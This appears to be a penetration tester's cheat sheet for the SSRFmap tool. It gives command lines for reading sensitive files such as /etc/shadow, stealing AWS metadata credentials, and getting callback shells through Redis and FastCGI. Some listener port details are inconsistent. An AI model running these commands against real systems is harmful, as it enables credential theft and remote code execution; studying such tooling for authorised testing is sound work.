SSRFmap Cheat Sheet: Every Module and Flag I Actually Use

SSRFmap is a small Python tool that turns a captured request file plus a parameter name into a chain of SSRF exploit modules. It does the parts that are boring to hand-roll: port scanning the internal network through the vulnerable parameter, hitting Redis with gopher payloads, pulling files via the FastCGI socket, scraping cloud metadata. This is the field reference for the flags and modules I actually reach for, grouped by task.

The CLI surface is small and the flag set is fixed at -h, -r, -p, -m, -l, -v, --lhost, --lport, --uagent, --ssl, --proxy, --level, --rfiles. There is no --target, no --ports, no --handler, no --file. Cloud metadata and arbitrary-byte gopher payloads are written as custom modules.

If SSRF as a class is new to you, start with the server-side request forgery explainer. For tool selection, the best SSRF tools for 2026 covers alternatives. The SSRFmap tutorial against a vulnerable app walks an end-to-end run. For variants, see the blind SSRF guide, the cloud metadata SSRF reference, and the DNS rebinding SSRF writeup.

Quick reference

What the request file looks like

SSRFmap takes the same kind of request.txt as sqlmap: raw HTTP, method line, headers, blank line, body. The parameter name passed with -p must appear somewhere in that request as a value SSRFmap can substitute.

POST /api/fetch HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Cookie: session=eyJhbGciOiJIUzI1NiJ9...
Connection: close

url=https://example.com/some-resource

Run python3 ssrfmap.py -r request.txt -p url -m readfiles and SSRFmap replaces the url parameter with file:///etc/passwd, file:///etc/shadow, and the rest of its wordlist. Same flow for query parameters, header values, and cookies; SSRFmap finds the parameter wherever it lives.

Capture the request the same way you would for sqlmap: DevTools Network tab, right-click, save the raw request. Or use Burp's "Copy to file" on a selected request.

Workflow templates

Quick reachability check first. The cleanest blind oracle is a manual http:// SSRF in Burp pointing at your interactsh subdomain; if you would rather drive it from SSRFmap, use the axfr module to probe an attacker-controlled NS, or layer a custom module that hits your callback URL.

python3 ssrfmap.py -r request.txt -p url -m readfiles -v \
  --proxy=http://127.0.0.1:8080

File read sweep. Drops every path in the built-in wordlist plus anything in paths.txt. The first 30 seconds of a real engagement.

python3 ssrfmap.py -r request.txt -p url -m readfiles --rfiles=/tmp/paths.txt -v

Internal port scan. Range is module-internal; tune by editing the module source or chaining through -m networkscan for broader sweeps.

python3 ssrfmap.py -r request.txt -p url -m portscan -v

AWS IMDSv1 credential pull. Use the dedicated aws module rather than overriding a non-existent --target.

python3 ssrfmap.py -r request.txt -p url -m aws -v

Redis exploitation with a callback. Spawn a handler on 4242, write a cron entry into the unauthenticated Redis that calls back when cron fires.

python3 ssrfmap.py -r request.txt -p url -m redis \
        --lhost=10.0.2.15 --lport=4444 -l 4242 -v

FastCGI code execution against a 0.0.0.0:9000 php-fpm. Same handler pattern.

python3 ssrfmap.py -r request.txt -p url -m fastcgi \
        --lhost=10.0.2.15 --lport=4444 -l 4242 -v

Module chain. Walk files, scan ports, then hit Redis. Each module reuses the same request and parameter.

python3 ssrfmap.py -r request.txt -p url -m readfiles,portscan,redis \
        --lhost=10.0.2.15 --lport=4444 -v

Everything through Burp for inspection. The single most useful debugging configuration.

python3 ssrfmap.py -r request.txt -p url -m readfiles \
        --proxy=http://127.0.0.1:8080 -v

GCP and Azure: the header problem

GCP requires Metadata-Flavor: Google. Azure requires Metadata: true. The bundled gce module sets the GCP header; Azure has no bundled module in upstream. Two practical workarounds for any case the built-in modules do not handle:

1. Write a custom module. Copy data/modules/readfiles.py to data/modules/custom/azure_metadata.py, hard-code the Azure URLs, and add the Metadata: true header when the module calls requester.do_request(). Run with -m custom.
2. Use Burp Repeater for these. When the SSRF lets you control the URL but not arbitrary headers on the outbound request, you usually cannot inject the metadata header anyway, and the metadata endpoint will refuse. The fix is on the SSRF side (find a path that lets you set headers via CRLF injection) rather than the tool side. Burp Repeater is where you actually develop that payload.

Flags I almost never use

For completeness, parts of SSRFmap that exist but rarely earn their keep:

• The github module against modern GitHub Enterprise releases. The metadata endpoints it targets have been hardened or moved; verify on the version in front of you before assuming it still works.
• --level 3+ on a fast target. The extra obfuscation variants rarely flip a result that level 1 missed, and they multiply request count.
• Running every module in one go (-m readfiles,portscan,redis,fastcgi,mysql,smtp,axfr,github,aws,gce,custom) without scoping. The noise drowns out the signal. Pick the two or three that match the internal services you suspect.

A note on responsible use

Every module above is dual use. The same fastcgi payload that pops a webshell on a CTF box is the one I run against my own lab containers. Use these only against systems you own or have explicit written authorisation to test. See the server-side request forgery explainer for the legal-framing notes.